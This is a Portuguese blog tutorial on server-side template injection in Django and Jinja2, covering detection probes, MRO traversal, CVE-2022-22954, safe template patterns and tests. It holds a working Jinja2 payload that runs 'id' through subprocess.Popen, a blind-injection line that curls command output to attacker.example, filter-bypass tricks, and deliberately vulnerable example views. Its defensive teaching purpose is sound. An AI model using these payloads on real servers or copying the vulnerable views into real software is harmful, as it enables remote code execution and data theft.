Injeção em Templates Server-Side (SSTI): Quando os Templates do Django Viram Arma

Injeção em Templates Server-Side (SSTI): Quando os Templates do Django Viram Arma

Django Security Series — Post 3 | Série I: Ataques de Injeção
OWASP A03:2021 — Injection | Tempo de leitura: ~14 min

O Post 1 desta série abordou SQL Injection — dados não confiáveis quebrando a barreira entre a estrutura SQL e uma consulta ao banco de dados. O Post 2 abordou XSS — dados não confiáveis quebrando a barreira entre a estrutura HTML e o motor de renderização do navegador. O Post 3 completa a tríade de injeção com a variante de maior severidade: Injeção em Templates Server-Side (SSTI), em que dados não confiáveis quebram a barreira entre uma string e um motor de templates server-side — e a recompensa para o atacante não é a execução de um script no DOM, mas Execução Remota de Código (RCE) no próprio servidor.

O paradoxo do Django aqui é marcante. A linguagem de templates nativa do Django (DTL) é sandboxada e segura por design: {{ 7*7 }} renderiza como string vazia, não 49, porque a DTL não avalia expressões Python. Ainda assim, o mesmo projeto Django que usa a DTL em todo lugar pode ser trivialmente vulnerável a SSTI se uma única view passar entrada do usuário para Template(user_input) — um padrão que parece inofensivo em uma feature de "e-mail personalizado" ou "template de notificação" e dá ao atacante acesso direto a cada objeto que a view expõe — ou, em um backend Jinja2, um caminho direto para os.popen.

Neste post vamos ver como o SSTI é detectado e explorado, por que o Jinja2 é o principal alvo, que propriedade arquitetural torna a DTL segura, e exatamente onde essa garantia de segurança se desfaz. A regra que construímos é simples: um template é um arquivo que você controla, não uma string que um usuário te envia.


O Ataque: O Que É e Como Funciona

SSTI ocorre quando entrada controlada pelo usuário é concatenada em uma string de template e depois renderizada por um motor de templates, fazendo o motor avaliar a entrada como código em vez de dado. A causa raiz é a mesma categoria de erro do SQL Injection — confundir dado e código em uma fronteira de interpretador — só que uma camada acima na pilha. No SQL Injection o interpretador é o motor do banco de dados; no SSTI o interpretador é o motor de templates.

A consequência é proporcional ao que o motor de templates consegue alcançar — e esse alcance é muito mais profundo do que a maioria dos desenvolvedores imagina. Uma query SQL parametrizada é limitada: ela toca apenas o banco de dados e nada mais. Um motor de templates, em contraste, opera dentro do próprio processo Python. Em Python, todo objeto carrega uma referência para sua classe (__class__), toda classe carrega sua cadeia completa de herança (__mro__, a Ordem de Resolução de Métodos — MRO), e a classe base object na raiz dessa cadeia conhece todas as outras classes que o interpretador carregou na memória (__subclasses__()). Um motor de templates que avalia expressões Python tem, portanto, um caminho de travessia a partir de qualquer valor simples — uma string, um número, uma lista — até subprocess.Popen, os.system e o shell do OS. A barreira do armazenamento de dados onde o SQL Injection para não existe aqui; a única barreira é o próprio processo Python — e o processo Python tem acesso completo ao sistema operacional.

Técnica de Detecção

A abordagem padrão de detecção — documentada no PortSwigger Web Security Academy — usa uma string de sonda cuja saída identifica tanto a presença de SSTI quanto o motor sendo usado:

Motor String de sonda Saída se vulnerável
Jinja2 / Twig {{7*7}} 49
Confirmação Jinja2 {{7*'7'}} 7777777
FreeMarker / Groovy ${7*7} 49
ERB / EJS <%= 7*7 %> 49
Ruby (Slim / Haml) #{7*7} 49
Smarty {7*7} 49
Django DTL {{7*7}} (string vazia)

A linha da Django DTL é a chave: {{ 7*7 }} renderiza como vazio porque 7*7 não é um nome presente no contexto do template. Não é avaliado como expressão. Essa é a garantia arquitetural discutida na seção de Proteções do Django abaixo.

Para um atacante sondando uma aplicação de caixa preta, receber 49 em resposta a {{7*7}} confirma tanto a presença de SSTI quanto que o motor é Jinja2 ou Twig. Uma resposta em branco sugere DTL — mas não necessariamente segurança, já que a aplicação pode ainda usar Template(user_input) internamente (abordado na seção Padrão Vulnerável abaixo). A próxima sonda do atacante é {{ ''.__class__ }}: no Jinja2 retorna <class 'str'>; na DTL retorna vazio. A travessia do MRO começa a partir daí.

Escalação do Exploit Passo a Passo

  1. O atacante envia {{7*7}} em um campo voltado ao usuário — um nome de exibição, um assunto de e-mail template, uma saudação personalizada — que o servidor renderiza posteriormente por meio de um motor de templates.
  2. O servidor retorna 49 em vez da string literal {{7*7}}. SSTI confirmado.
  3. O atacante enumera o grafo de objetos Python. Objetos Python carregam informações de sua classe como atributos; pelo MRO, todo objeto está conectado a toda classe carregada pelo Python no processo atual.
  4. O atacante alcança uma classe que pode executar comandos de OS.
  5. O atacante atinge Execução Remota de Código: comandos arbitrários são executados no servidor sob o usuário do processo web.

Como os Atacantes Exploram — Travessia de MRO no Jinja2

O Django suporta oficialmente o Jinja2 como backend de templates alternativo, configurável junto ao DTL no settings.py via django.template.backends.jinja2.Jinja2. Equipes o adotam quando precisam de suporte a expressões Python, do sistema de macros do Jinja2, compatibilidade com migração do Flask ou desempenho de renderização bruto.

O modelo de avaliação de expressões do Jinja2 dá ao código de template acesso direto de leitura a atributos de objetos Python. Um atacante com SSTI em um ambiente Jinja2 pode percorrer o MRO para alcançar classes built-in perigosas:

# Travessia conceitual — ilustra o caminho, não é um exploit pronto
{{ ''.__class__ }}
→ <class 'str'>

{{ ''.__class__.__mro__ }}
→ (<class 'str'>, <class 'object'>)

{{ ''.__class__.__mro__[1].__subclasses__() }}
→ [<class 'type'>, <class 'weakref'>, ..., <class 'subprocess.Popen'>, ...]

Assim que subprocess.Popen ou uma primitiva de execução similar é localizada na lista de subclasses (seu índice varia por versão do Python e módulos carregados), o atacante pode invocá-la para executar comandos de OS. O índice específico varia, mas o caminho de travessia é determinístico — ferramentas automatizadas o percorrem exaustivamente.

[MITRE] T1059.006 — Command and Scripting Interpreter: Python. A expressão de template é o interpretador de script. O atacante não precisa de um payload de shell separado; o grafo de objetos Python é a superfície de ataque.

Variações Avançadas do Ataque

SSTI Cego — quando a saída não é refletida na resposta HTTP (por exemplo, o template é renderizado em um corpo de e-mail), os atacantes confirmam a execução de código via canais out-of-band: um callback DNS (os.system('curl attacker.example/$(id)')) observado no Burp Collaborator ou em uma instância auto-hospedada do interactsh. A técnica de atraso de resposta (os.system('sleep 5')) funciona quando conexões de rede de saída estão bloqueadas.

Bypass de filtro — validação de entrada que procura por {{ não é uma mitigação confiável. Filtros que bloqueiam .__class__ podem ser contornados com a notação de pipe do Jinja2: {{ ''|attr('__class__') }}. Regras de WAF baseadas em correspondência de string podem ser contornadas com equivalentes Unicode dos caracteres de chaves. A única mitigação confiável é nunca renderizar entrada do usuário como string de template.

DTL vs Jinja2 — Lado a Lado

Recurso Django DTL Jinja2 (ambiente padrão)
Avaliação de expressões Não — apenas lookup de variáveis Sim — expressões Python completas
Acesso a built-ins Python Não Sim (range, dict, etc.)
Acesso a __class__, __mro__ Não Sim
Objetos chamáveis em templates Limitado — chama apenas métodos e callables sem argumentos, resolvidos via acesso a atributo Sim — callables arbitrários
Suporte a macro / bloco call Não Sim
Sandbox built-in Arquitetural (não é uma configuração) Opcional — SandboxedEnvironment
Saída de {{ ''.__class__ }} (string vazia) <class 'str'>

Incidente Real: VMware Workspace ONE Access — CVE-2022-22954

Em abril de 2022, a VMware divulgou uma vulnerabilidade crítica de SSTI não autenticada no Workspace ONE Access (anteriormente VMware Identity Manager), avaliada com CVSS 9.8. O ponto de entrada era o motor de templates FreeMarker usado na interface web do Workspace ONE: um atacante poderia fornecer uma expressão de template maliciosa pelo parâmetro HTTP deviceUdid no endpoint /catalog-portal/ui/oauth/verify sem nenhuma autenticação. O FreeMarker, assim como o Jinja2, avalia expressões no momento da renderização — uma expressão de template FreeMarker que alcança o OS pela classe freemarker.template.utility.Execute obtém o mesmo resultado que a travessia de MRO do Jinja2 acima.

A vulnerabilidade foi adicionada ao catálogo de Vulnerabilidades Exploradas Conhecidas (KEV) da CISA no mesmo dia da divulgação — 6 de abril de 2022 — indicando exploração ativa desde o momento em que o aviso foi publicado. Exploração ativa foi observada em larga escala dentro de dias após a divulgação, impulsionada inicialmente por atores oportunistas incluindo variantes de botnet Mirai e loaders de criptomineradores, não por campanhas direcionadas de grupos de nações-estado. A pontuação CVSS de 9.8 reflete a superfície de ataque pré-autenticação: qualquer sistema com a interface web do Workspace ONE acessível na rede era explorável sem credenciais.

O mapeamento MITRE ATT&CK é: T1190 (Exploit Public-Facing Application) para acesso inicial; T1059 (Command and Scripting Interpreter) para execução após o RCE ser obtido.

A lição para desenvolvedores Django: a vulnerabilidade não estava na lógica de negócio da VMware — estava na decisão de renderizar uma string controlada pelo usuário por meio de um motor de templates poderoso com avaliação de expressões. Uma view Django usando DTL para processar o mesmo parâmetro não teria sido vulnerável da mesma forma. Uma view Django usando Jinja2 sem SandboxedEnvironment teria sido.

Fonte: VMware Security Advisory VMSA-2022-0011


Proteções Padrão do Django

A DTL não avalia expressões Python. Isso é arquitetural, não uma configuração que pode ser desativada acidentalmente. Quando o motor de templates do Django encontra {{ variavel }}, ele procura o nome variavel no dicionário Context explicitamente passado — esse é o único mecanismo de resolução que ele tem. Não há parser de expressões, não há acesso a built-ins Python, e não há caminho para o grafo de objetos além do que a view colocou explicitamente no contexto.

As três consequências que decorrem dessa arquitetura:

  1. {{ 7*7 }} renderiza como string vazia — o nome 7*7 não existe em nenhum contexto. Não há multiplicação.
  2. {{ ''.__class__ }} renderiza como string vazia — __class__ não está no contexto. O atributo dunder nunca é acessado.
  3. {{ request.META.HTTP_HOST }} renderiza como string vazia a menos que a view tenha passado explicitamente request no contexto — não há objeto request implícito disponível em uma string de template fornecida pelo usuário.

Tags {% load %} — o mecanismo para adicionar funcionalidades personalizadas a templates DTL — devem ser registradas em um pacote Python templatetags/ e não podem ser carregadas a partir de entrada do usuário. Um atacante não pode {% load subprocess %} mesmo que controle a string do template, porque a tag não existe e o mecanismo de carregamento só resolve módulos Python registrados.

O padrão autoescape=True do Django (abordado no Post 2) adiciona uma camada de proteção XSS em cima: mesmo que o valor de uma variável contivesse um payload HTML, ele seria escapado como entidade antes de ser escrito na página.

Onde a Garantia se Desfaz: Template(user_input)

A segurança da DTL é incondicional para templates carregados do sistema de arquivos. Ela se desfaz no momento em que uma string da entrada do usuário é passada diretamente para Template():

from django.template import Template, Context

# O motor de templates processa qualquer string que você passar.
# Se essa string veio da entrada do usuário, o usuário agora está escrevendo o código do seu template.
t = Template(user_input)
result = t.render(Context({}))

Passar input do usuário para Template() quebra uma garantia específica: em vez de fornecer valores para o template, o usuário está agora escrevendo-o. A DTL resolve cada nome que o usuário escrever em relação ao contexto que a sua view passou. Fornecer {{ request.user.email }} faz com que esse valor seja lido e retornado; fornecer {{ request.META.HTTP_HOST }} vaza o hostname do servidor. A sonda aritmética {{7*7}} ainda renderiza vazio — a DTL não tem avaliador de expressões — mas esse não é o teste correto a executar. A questão real é quais objetos nomeados estão no contexto.

O raio de impacto escala com a profundidade do contexto. Uma instância de model expõe cada campo acessível pelo nome. O Django ORM vai além: relações reversas ({{ user.groups.all }}, {{ user.logentry_set.all }}, qualquer acessor _set) são acessíveis apenas conhecendo o schema — sem necessidade de travessia. Todo objeto no contexto é uma superfície legível, incluindo tudo o que o ORM consegue acessar a partir dele.

O segundo risco é a execução de template tags. Toda {% tag %} registrada no pacote templatetags/ de qualquer app instalado é invocável a partir de uma string de template fornecida pelo usuário. Isso inclui tags built-in como {% include %} e {% extends %}, e quaisquer tags personalizadas que sua própria aplicação registre — inclusive tags que invocam lógica de negócio, formatam dados sensíveis ou interagem com o sistema de arquivos.

O contrato seguro é: input do usuário são dados de contexto, nunca fonte de template. Um usuário pode controlar os valores que são substituídos em um template; ele nunca deve controlar o próprio template.


Padrão Vulnerável: O Que NÃO Fazer

Padrão 1 — Template(user_input) em uma View

O erro mais comum de SSTI no Django: passar entrada do usuário diretamente ao construtor Template().

# INSEGURO — string controlada pelo usuário renderizada como template
from django.template import Template, Context
from django.http import HttpResponse

def saudacao_personalizada(request):
    # O usuário forneceu essa string — por exemplo, via um campo "personalize sua saudação"
    template_string = request.POST.get('greeting_template', '')
    t = Template(template_string)
    result = t.render(Context({'user': request.user}))
    return HttpResponse(result)

Payload de ataque: {{ user.password }} — se user está no contexto, o campo password do Django armazena a credencial com hash (ex: pbkdf2_sha256$...), não o texto claro, mas o hash agora fica visível na resposta. Vazar o hash ainda é crítico: permite ataques de força bruta offline sem nenhum acesso adicional ao servidor.

O valor controlado pelo atacante é greeting_template. O desenvolvedor passou o objeto de contexto — que pode conter request, user, ou qualquer outro objeto sensível — para um motor de renderização que agora executará o que quer que o atacante forneça.

Padrão 2 — Backend Jinja2 Sem SandboxedEnvironment

O Django suporta um backend Jinja2 como motor de templates alternativo. Ao contrário do DTL, o Environment padrão do Jinja2 avalia expressões Python completas em tempo de renderização. Quando uma string controlada pelo usuário é passada para from_string(), o motor trata essa string como código de template executável — não como dado. Como o Jinja2 expõe o grafo de objetos Python (atributos como __class__, __mro__ e __subclasses__() são legíveis por qualquer expressão de template), um atacante pode percorrer a partir de qualquer valor no contexto até chegar a subprocess.Popen e executar comandos arbitrários no sistema operacional. Não há avaliador de expressões para desativar; a única salvaguarda arquitetural é o SandboxedEnvironment, e ele não é o padrão.

# INSEGURO — Jinja2 from_string() com entrada do usuário e sem sandbox
from django.template import engines
from django.http import HttpResponse

def renderizar_notificacao(request):
    body_template = request.POST.get('notification_body', '')
    jinja_env = engines['jinja2']
    result = jinja_env.from_string(body_template).render({})
    return HttpResponse(result)

Payload de ataque: {{ ''.__class__.__mro__[1].__subclasses__()[INDICE]('id', shell=True, stdout=-1).communicate()[0] }} — onde INDICE é a posição de subprocess.Popen na lista de subclasses (-1 é o valor inteiro de subprocess.PIPE). Isso executa o comando id no servidor e retorna sua saída na resposta HTTP.

Note que engines['jinja2'] usa a configuração padrão do backend Jinja2 do Django, que não envolve o ambiente em SandboxedEnvironment. O Environment padrão do Jinja2 expõe o grafo completo de objetos Python.

Padrão 3 — SSTI Armazenado via Template Backed por Banco de Dados

O paralelo com o XSS Armazenado (Post 2): um campo configurável por admin no banco de dados é passado para Template() no momento da renderização.

# INSEGURO — SSTI armazenado: string de template vem do banco de dados, não de uma requisição
from django.template import Template, Context
from django.core.mail import send_mail
from .models import EmailTemplate  # armazena templates de corpo configurados por admin

def enviar_email_boas_vindas(user):
    template_record = EmailTemplate.objects.get(name='welcome')
    # template_record.body é um campo de texto livre que um admin pode editar no Django admin
    t = Template(template_record.body)
    body = t.render(Context({'user': user}))
    send_mail('Bem-vindo', body, 'noreply@example.com', [user.email])

A superfície de ataque agora é qualquer usuário com acesso ao Django admin (ou ao banco de dados subjacente). Isso inclui contas de admin comprometidas, insiders maliciosos e vulnerabilidades de SQL injection em outras partes da aplicação. Um payload de SSTI armazenado em EmailTemplate.body é acionado a cada chamada de enviar_email_boas_vindas() — não apenas uma vez, mas para cada e-mail enviado a partir daí. O paralelo com o XSS Armazenado: uma escrita, execuções ilimitadas.

A correção para os três padrões é idêntica: nunca passar uma string controlada pelo usuário ou pelo banco de dados para Template() como fonte de template. A próxima seção cobre a abordagem correta.


Implementação Segura: O Jeito Django

Regra 1 — Nunca Passe Entrada do Usuário para Template()

Se personalização dinâmica semelhante a template é necessária (por exemplo, "Olá, {{ first_name }}!"), use um arquivo de template fixo carregado do sistema de arquivos com um mecanismo de substituição controlado — não a entrada do usuário como fonte do template.

# SEGURO — template é um arquivo que você controla; dados do usuário são apenas contexto
from django.template.loader import get_template
from django.http import HttpResponse

# Template no sistema de arquivos: templates/blog/saudacao.html
# Conteúdo: <p>Olá, {{ user.first_name }}!</p>
# O usuário pode influenciar os *valores* no contexto — ele não pode fornecer o template.

TEMPLATES_SAUDACAO_PERMITIDOS = {
    'formal': 'blog/saudacao_formal.html',
    'casual': 'blog/saudacao_casual.html',
}

def saudacao_personalizada(request):
    template_name = request.GET.get('estilo', 'casual')
    # Valida contra uma allowlist explícita — nunca passe o valor bruto da requisição para get_template()
    nome_template_seguro = TEMPLATES_SAUDACAO_PERMITIDOS.get(template_name, 'blog/saudacao_casual.html')
    t = get_template(nome_template_seguro)
    return HttpResponse(t.render({'user': request.user}, request))

Propriedades chave deste padrão:
- A fonte do template é um arquivo em disco que apenas desenvolvedores podem modificar — a entrada do usuário não pode afetar a estrutura do template.
- O usuário pode influenciar qual template é carregado, mas apenas a partir de uma allowlist explícita — a travessia de caminho é estruturalmente prevenida.
- Os dados do usuário fluem apenas pelo Context — são dados renderizados, nunca código de template.

Regra 2 — Use SandboxedEnvironment se Jinja2 for Necessário

Se uma feature genuinamente requer lógica de template definida pelo usuário (por exemplo, um sistema de notificações em que cada organização personaliza seu próprio corpo de e-mail), use jinja2.sandbox.SandboxedEnvironment em vez do Environment padrão. O sandbox lança SecurityError em tentativas de acessar atributos dunder ou métodos restritos. Trate-o como uma camada de defesa em profundidade, não como garantia absoluta — bypasses históricos via referências a globals e helpers built-in já foram divulgados, então mantenha o Jinja2 atualizado e combine o sandbox com contextos mínimos.

# SEGURO — SandboxedEnvironment bloqueia a travessia de MRO
from jinja2.sandbox import SandboxedEnvironment
from django.http import HttpResponse

_sandbox = SandboxedEnvironment(autoescape=True)

def renderizar_notificacao_personalizada(request):
    body_template = request.POST.get('notification_body', '')
    try:
        t = _sandbox.from_string(body_template)
        result = t.render({'user_name': request.user.get_full_name()})
    except Exception:
        # SandboxedEnvironment lança SecurityError em tentativas de travessia;
        # trate qualquer exceção de from_string() ou render() como rejeição.
        result = ''
    return HttpResponse(result)

Observe o que o contexto contém: {'user_name': request.user.get_full_name()} — uma string simples, não o objeto request.user completo. Limitar o contexto ao mínimo de dados que o template precisa é sua própria camada de defesa: mesmo que o sandbox fosse contornado, o acesso do atacante seria limitado pelo que o contexto expôs.

SandboxedEnvironment com autoescape=True também aplica escape HTML, fechando o vetor XSS que existiria se a saída do template renderizado fosse inserida em uma página (→ Post 2).

Regra 3 — Valide Nomes de Template Contra uma Allowlist

Esta regra se aplica quando um valor do usuário ou do banco de dados influencia qual template é carregado — não o conteúdo do template. Um usuário que controla o nome do template pode construir valores como ../../settings.html para ler arquivos arbitrários através do loader de template. Os loaders de template do Django não previnem isso por si sós.

Abordagem primária — allowlist explícita. Quando o conjunto de templates válidos é fixo e conhecido em tempo de design, uma allowlist é a proteção mais robusta:

# SEGURO — validação por allowlist antes de get_template()
from django.template.loader import get_template

ALLOWLIST_TEMPLATES = frozenset({
    'emails/boas_vindas.html',
    'emails/recuperacao_senha.html',
    'emails/fatura.html',
})

def carregar_template_email(template_name: str):
    if template_name not in ALLOWLIST_TEMPLATES:
        raise ValueError(f"Template '{template_name}' não está no conjunto permitido.")
    return get_template(template_name)

Uma allowlist rejeita qualquer coisa não explicitamente prevista — com correspondência por igualdade exata (como acima, usando pertinência em frozenset), ela não pode ser percorrida via manipulação de caminho.

Quando o conjunto de templates é aberto — resolução de caminho. Algumas aplicações constroem nomes de template dinamicamente a partir de um prefixo fixo e um fragmento fornecido pelo usuário (por exemplo, templates baseados em localidade: en/welcome.html, pt/welcome.html). Quando nem toda combinação válida pode ser listada antecipadamente, verifique que o caminho resolvido permanece dentro do diretório de templates esperado:

import pathlib
from django.template.loader import get_template

TEMPLATES_BASE = pathlib.Path('/app/templates').resolve()

def carregar_template_locale(locale: str, name: str):
    candidate = (TEMPLATES_BASE / locale / name).resolve()
    if not candidate.is_relative_to(TEMPLATES_BASE):
        raise ValueError("Travessia de caminho detectada.")
    # Converter de volta para nome relativo para o loader do Django
    return get_template(str(candidate.relative_to(TEMPLATES_BASE)))

is_relative_to() evita o bypass clássico de prefixo com startswith(), onde um diretório irmão como /app/templates_evil/ passaria uma verificação startswith('/app/templates').

Quando ambas as abordagens forem viáveis, prefira a allowlist — ela rejeita nomes não explicitamente previstos, enquanto a verificação de caminho apenas previne o escape de diretório.

A regra invariante: um template é um arquivo que você controla, não uma string que um usuário te envia.


Testando sua Defesa

Testes Unitários

# blog/tests.py
from django.test import TestCase
from django.contrib.auth.models import User

class SSTIProtectionTests(TestCase):
    def setUp(self):
        self.user = User.objects.create_user('testuser', password='testpass')

    def test_sonda_template_nao_avaliada(self):
        """Smoke test: confirma que a sonda {{7*7}} nunca retorna '49' em um campo
        controlado pelo usuário renderizado por uma view DTL padrão. Uma falha —
        b'49' na resposta — indica que um backend Jinja2 sem sandbox está em uso.
        Nota: a DTL nunca avalia aritmética independentemente de como o template é
        construído, portanto este teste não detecta uso indevido de Template(user_input)
        em projetos puramente DTL; para isso, consulte test_dtl_template_input_usuario_expoe_dados_contexto.
        Adapte '/profile/' e 'first_name' para a URL e o campo que sua aplicação renderiza."""
        self.user.first_name = '{{7*7}}'
        self.user.save()
        self.client.force_login(self.user)
        response = self.client.get('/profile/')
        self.assertEqual(response.status_code, 200)
        self.assertNotIn(b'49', response.content)

    def test_dtl_template_input_usuario_expoe_dados_contexto(self):
        """Documenta a vulnerabilidade Template(user_input): a DTL resolve cada nome
        que o atacante escreve em relação ao que a view passou para o contexto.
        Este teste exercita deliberadamente o padrão perigoso para que o comportamento
        seja explícito — use-o para entender o que está em jogo se Template(user_input)
        aparecer em uma view que passa um objeto user no contexto."""
        from django.template import Template, Context
        payload = '{{ user.email }}'
        t = Template(payload)
        result = t.render(Context({'user': self.user}))
        # A DTL resolve 'user.email' do contexto — o endereço é vazado.
        self.assertEqual(result, self.user.email)

    def test_sandbox_jinja2_bloqueia_travessia(self):
        """Confirma que SandboxedEnvironment lança SecurityError quando uma expressão
        de template tenta acessar __class__, bloqueando o primeiro passo da travessia
        MRO. Uma falha aqui significa que o sandbox não está ativo e o backend Jinja2
        está aberto para RCE completo: um atacante pode percorrer qualquer valor no
        contexto até subprocess.Popen."""
        from jinja2.sandbox import SandboxedEnvironment
        import jinja2
        env = SandboxedEnvironment()
        with self.assertRaises(jinja2.exceptions.SecurityError):
            env.from_string("{{ ''.__class__ }}").render({})

Verificação Manual

python manage.py shell

# Confirma que a DTL não avalia expressões:
>>> from django.template import Template, Context
>>> Template('{{ 7*7 }}').render(Context({}))
''   # correto: string vazia — sem avaliação de expressão

# Confirma que SandboxedEnvironment bloqueia travessia:
>>> from jinja2.sandbox import SandboxedEnvironment
>>> env = SandboxedEnvironment()
>>> env.from_string("{{ ''.__class__ }}").render({})
# Lança jinja2.exceptions.SecurityError — comportamento correto

Varredura Automatizada

O OWASP ZAP inclui um scanner de SSTI em seu conjunto de regras de varredura ativa. Execute apenas em staging:

# OWASP ZAP active scan — a regra SSTI dispara a sonda {{7*7}} automaticamente
# Nota: zap-cli é um wrapper de terceiros; verifique se está instalado e atualizado
# para sua versão do ZAP. A alternativa oficial é o ZAP Automation Framework.
zap-cli active-scan --scanners ssti "https://staging.example.com/"

# Regra Semgrep para padrões SSTI em Python — detecta Template(variavel) em análise estática
semgrep --config "p/django" blog/ blogtech/

O conjunto de regras Django do Semgrep sinaliza chamadas Template() que recebem argumentos não literais. Adicionar essa verificação ao CI garante que novas ocorrências sejam detectadas antes de chegarem à produção.


Checklist de Prevenção de SSTI

Controle O que cobre
Nunca passar strings não confiáveis para Template() O principal vetor de SSTI no Django — entrada do usuário e valores vindos do banco de dados são dados de contexto, nunca fonte de template
Allowlist de nomes de template antes de get_template() Travessia de caminho via nomes de template controlados pelo usuário — impede o loader de ler arquivos arbitrários fora do diretório de templates
SandboxedEnvironment para templates Jinja2 definidos pelo usuário Travessia de MRO no Jinja2 — lança SecurityError no acesso a atributos dunder
Contexto mínimo — passe apenas os dados necessários Reduz o raio de impacto se Template() ou Jinja2 for mal utilizado — acesso do atacante limitado pelo contexto
Semgrep / análise estática no CI Detecta padrões Template(variável) e from_string(variável) do Jinja2 antes de chegarem à produção

O Post 3 adiciona a contraparte server-side ao quadro de injeção. SQL Injection atinge o banco de dados; XSS atinge o DOM do navegador; SSTI atinge o motor de templates — e pelo grafo de objetos Python, o OS do servidor. A linguagem de templates do Django é segura por design no caso normal; o perigo surge quando os desenvolvedores contornam esse design chamando Template(user_input). O hábito a carregar adiante é o mesmo do Post 1: trate qualquer chamada a Template() com um argumento não literal da mesma forma que cursor.execute(raw_sql) — uma ocorrência em code review que bloqueia o merge até ser substituída por um padrão seguro.

O Post 4 passa do motor de templates para o próprio shell do OS — subprocess e os.system, a armadilha do shell=True, e como entrada do usuário que alcança a camada de comandos do OS atinge RCE de forma ainda mais direta.

Leitura Complementar

Próximo na série → Post 4: Injeção de Comandos OS: subprocess, os.system e os Perigos de shell=True

← Voltar para todos os posts